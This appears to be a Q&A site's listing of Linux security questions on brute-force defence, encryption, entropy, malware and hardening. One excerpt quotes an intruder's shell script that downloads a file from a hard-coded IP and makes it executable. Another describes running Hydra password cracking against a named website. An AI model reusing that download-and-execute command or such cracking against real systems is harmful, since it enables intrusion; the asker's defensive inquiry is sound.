Securing Linux systems and applications; understanding Linux security features.

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11
votes
4answers
512 views

How to react when under attack

Just this week someone has been trying to attack the server of the company where I work. I have noticed that they have been trying to brute force root via ssh. fail2ban is handling that well and I ...
5
votes
5answers
561 views

HOWTO : Email encryption in a browser

I have read about encryption and I think it's a good idea for me to encrypt my email. I run ubuntu 12.10 and use Firefox for browsing. In my quest for learning how to use gmail/hotmail to send and ...
0
votes
1answer
230 views

MitM Attacks - Iptables?

I have looked for the answer to this question to no avail, apologies if I missed it. I would like to know how effective iptables would be against MitM attacks - in the following setup: ALLOW INPUT ...
11
votes
3answers
1k views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
-2
votes
2answers
2k views

Hydra https-form-post

I have never experimented much with online password crackers. I attempted to use Hydra today on this website www.athena2.harker.org and I keep getting false positives. This is what I have done so ...
2
votes
2answers
285 views

Can a Ubuntu live usb be infected with spyware/ virus?

I have a Ubuntu 13.10 live usb. I gave it to somebody so that he can install ubuntu. Now I have received it back. I was wondering if it is possible to infect a live usb with spyware or virus ? If yes, ...
3
votes
1answer
166 views

Does reinstalling ubuntu eliminates all existing rootkits/ malware/spyware/ virus etc?

If I do a fresh installation of ubuntu from an uninfected cd, will it remove all the existing rootkits/malwares/spywares/viruses etc if any ? Is formatting the hard disk required before reinstalling ...
10
votes
2answers
2k views

Java SecureRandom doesn't block? How?

I know from experience that reading from /dev/random blocks when the Linux kernel entropy pool runs out of entropy. Also, I've seen many articles and blog entries stating that when running on Linux, ...
0
votes
2answers
131 views

Debian missing security features?

Debian (stable) is a well respected server Linux distro. I was surprised to see that in their hardening walkthrough (https://wiki.debian.org/HardeningWalkthrough) they do not support position ...
1
vote
1answer
240 views

Why does Debian security guide recommend md5 hashed passwords?

I am reading the Debian Security How-To and came across a section that I found odd: it recommends to use md5 hashes for /etc/shadow passwords ...
2
votes
1answer
303 views

Bypass va_randomize_space and stack-protector

Is a program compiled with the GCC -fstack-protector option and running in a Linux environment with the va_randomize_space kernel variable set to 1, totally protected against buffer overflow attacks? ...
1
vote
0answers
40 views

Is CVE-2011-1571 fixed in tomcat?

I dont see any record of CVE-2011-1571 being fixed in tomcat based on ASF' security reports for tomcat itself. Usually they specify the CVE number and information about the fix. This was 3 years ago ...
0
votes
1answer
154 views

Secure installation of KVM VPS?

This question has also been asked on Server Fault, but was not taken seriously. I hope this is a better place for it I'm going to install Debian Wheezy on a KVM VPS. VNC access to console is enabled, ...
0
votes
2answers
173 views

Malware getting root access via “sudo” and “sudo -s”

Actually, I'd like to ask 3 questions. But since they are very related, I'll ask them all here. I use Ubuntu 12.04.4. Situation 1: I use Terminator, in one of its terminals I launch sudo iotop ...
1
vote
0answers
25 views

Tracking checkins from generic users

Im trying to implement a better system to monitor checkins to our repository. We have some generic users everyone can use, I have recently disallowed them from checking in as those users however there ...
2
votes
2answers
233 views

How big is the threat of Desktop Linux malware? [closed]

Most malware one hears about on the news seems to fit into one of two categories: Windows viruses, trojans, rootkits etc. Linux server "worms", backdoors and similar How big is the threat of ...
3
votes
2answers
974 views

Alternatives to SELinux and AppArmor?

With SELinux developed by NSA and AppArmor by Novell [*], what alternate solutions exists when trying to lock down a system and running applications, based on ACL and similar concepts like Zones on ...
20
votes
3answers
4k views

Is it appropriate to use haveged as a source of entropy on virtual machines?

While looking for solutions to entropy pool depletion on virtual machines, I came across an interesting project called haveged, which is based on the HAVEGE algorithm (HArdware Volatile Entropy ...
2
votes
1answer
26 views

bin_random_table and RANDOM_BOOT_ID

The Linux kernel has a few sysctrl's related to random devices packaged in a bin_random_table (http://lxr.free-electrons.com/source/kernel/sysctl_binary.c?v=3.2): static const struct bin_table ...
1
vote
0answers
215 views

Linux Physical memory analysis using hexeditor for Forensics

I am about to forensics investigation of a linux physical memory. I have dumped an ARM Linux which the profile is not listed in Volatility, so I could find the process and the latest command using ...
1
vote
4answers
120 views

Why can't just any program use his own file-system-access-system?

This may sound stupid for everyone who knows more than me about the UNIX-System and security in software: Imagine you have a program trying to cause harm by deleting files. You just do something like ...
0
votes
1answer
64 views

ensuring that compiled (and signed) packages don't contain malicious code

I would like to understand how the packaged Linux distributions (i.e. Debian) ensure that their packages don't contain any malicious code. I know that packages are signed, and that I can download the ...
0
votes
2answers
136 views

Proxy traffic via MITM script

I want to log and modify outbound traffic on a Linux machine. I currently have one program that sends requests out to the internet, I would like to process these requests and their responses via ...
2
votes
2answers
2k views

How secure is EncFS compared to TrueCrypt?

If I choose the paranoia option for EncFS and for TrueCrypt I create containers using the encryption algorithm AES-Twofish-Serpent and the Hash Algorithm Whirlpool. Are both methods equally secure, ...
0
votes
1answer
147 views

Removing Unnecessary Services & Packages in a MySQL Ubuntu 12.04 Server [closed]

As part of hardening a MySQL 5.6 server running on Ubuntu 12.04 LTS, unnecessary services and packages will have to be removed. For a server that is serving only as a MySQL server, what services and ...
0
votes
3answers
225 views

How to store user credentials like Mint.com [duplicate]

If you have a website that need to store user's credentials for other sites, how do you store those credentials securely? An example is Mint.com where you give them your username/password for your ...
-6
votes
1answer
103 views

How can mp3blaster vulnerability affect my linux OS? [closed]

Mp3blaster is a terminal mp3 player running a UNIX-like operating system, e.g. Linux, Free/Net/OpenBSD, etc. I usually use this player for playing my music, but yesterday I found a blog which claim ...
1
vote
1answer
73 views

Malware threats from other mounted hard drives

I am going to install Linux on an external hard drive and my internal hard drive is currently running Windows. When I boot to my Linux and I still have my windows hard drive mounted is it possible for ...
1
vote
0answers
58 views

How do I determine whether a Linux-based router still has the default password? [duplicate]

My goal is to check if the password used by admin is the default password. I work on a Linux-based router. I know the password is stored as a hashed value in /etc/passwd. In generic Linux machines, ...
1
vote
1answer
25 views

Is there an other place than the changelogs to see if a debian package is corrected or not?

I would like to know if there was an other place to see if a debian package is fixing a CVE than the changelog of the packet. For instance the packet bind9 1:9.7.2.dfsg.P3-1 is fixing the ...
0
votes
2answers
278 views

Isolating host machine from external network

How to prevent a host machine from sending/receiving packets with the following network configuration: eth0 - physical NIC :: not configured; tun0 - virtual NIC for VM which role is the gateway for ...
1
vote
1answer
295 views

How should IPSec be configured to provide a protection at least as good as my current Stunnel configuration?

In private network (as in using a private IP address space) at a cloud provider, other customers have access to the same private network. I have secured the communication between many hosts and ...
2
votes
1answer
101 views

DBus proxy Javascript binding issues

Recent Gnome-3 (under GNU/Linux, BSD or other Un*x) offer a gnome shell with nice presentation, but where the configuration and theming are to be done via Internet Browser (and a public URL, on a ...
0
votes
1answer
110 views

Do the Linux binary blobs contain any intentional security holes?

This question covers the risks of accepting Binary blobs in one's distribution. This may be a very paranoid conspiracy question. But considering all the topics regarding the NSA in 2013 one cannot ...
2
votes
2answers
440 views

CentOS for security testing?

I am a QA Engineer, but have been tasked with creating a security testing platform. I have many years with Backtrack/Kali and my primary OS are Arch and Ubuntu. The Systems guys here gave me a CentOS ...
9
votes
4answers
551 views

What would happen if one of the popular Linux repositories is hacked?

Even though most people consider downloading your Linux software from you own distribution's repositories as safe, thinking about the scenario where a repository gets hacked sounds thrilling. What ...
1
vote
1answer
68 views

How can I view the contents of a web page without running malicious code? [closed]

I received a strange email which has some strange URL in it. I would like to know what is "behind" the url, but without the risk of running anything malicious. How can see the contents of the URL, ...
3
votes
3answers
330 views

Protecting against Firewire DMA vulnerabilities in Linux

I know there have been questions on this in the past but they all seem quite outdated, or not that specifically relevant. I need to use a 1394(Firewire) connection, however am concerned with possible ...
-2
votes
1answer
779 views

Cascading Encryption Algorithm using mcrypt or GnuGP

I'm trying to a cascading cipher encryption algorithm to encrypt a textfile via mcrypt. I'm essentially trying to emulate the behavior of TrueCrypt, where it can cascade two or three different cipher ...
1
vote
0answers
160 views

Tools to perform benchmark of block/stream ciphers on Linux? [closed]

I would like to perform some benchmarking of different block and stream ciphers for general data (lossless and lossy data) encryption and decryption (with focus on power consumption). To get general ...
1
vote
1answer
243 views

How do I find out if I'm connecting to a spoofed server after getting “The authenticity of host [hostname] can't be estabilished”?

I've been SSHing into my VPS for months with no problems and this morning it returned this familiar message: The authenticity of host '[hostname]' can't be established. ECDSA key fingerprint is ...
3
votes
2answers
312 views

Disable local/KVM access on a Linux VPS (allow only SSH)

Friends of mine have previously had issues with VPS security. The security was no fault of the operating system/services themselves, but mainly due to the "Control Panel" that gets forced upon you ...
9
votes
4answers
3k views

nmap showing unknown IPs on private network

I had a go at scanning my home network with nmap, doing a 192.168.0.0/16 netscan. To my surprise, the results shown multiple live devices not only on 192.168.1.x (where all our known devices are) but ...
12
votes
2answers
4k views

Available Resources for Securing RHEL 6

Some in our infrastructure group want to upgrade to start taking advantage of the new features in RHEL 6. In the past, I have relied on the NSA Guide to secure RHEL 5 and CentOS 5 installations. I ...
8
votes
5answers
2k views

How can I remotely wipe the contents of a Linux Laptop if its been stolen?

I am currently investigating using Linux Laptops for my development team. We currently run Windows. The one advantage that keeps coming up for Windows over Linux from a system administration / ...
2
votes
0answers
1k views

What is a self-contained cross-platform encryption for USB drive? [closed]

I'm trying to find self-contained encryption solution for USB drives while at the same time being platform independent. For example, Windows' BitLocker only works on Windows and not on OS X or Linux. ...
1
vote
1answer
79 views

What are good ways to check for tampering/bad behaviour on a linux server that has already been set up but it's your first time logging into it

For this I am assuming we have a server that is of a client or a friend, so we the helper are not innately familiar with exactly how things should be be. What are good commands and ways to check to ...
1
vote
1answer
142 views

how to continuously caputre all my network traffic? [closed]

I've got a Linux desktop that will be a gateway between my private network and the open internet. I'd like it to capture and store all network traffic passing through it continuously, 24/7 (until the ...
0
votes
2answers
219 views

Does iptables work in kernel mode? [closed]

I am not sure about that. It should run in kernel mode in order to avoid some user-mode program to kill/suspend the firewall and do its dirty job. The malware would not be able to kill the firewall ...
15
votes
1answer
478 views

Keyboard firmware hack - Linux vulnerable?

I see that Apple patched OS X to mitigate against K. Chen's famous Apple keyboard firmware hack. However: Apple keyboards can be used with computers running other operating systems; and in any ...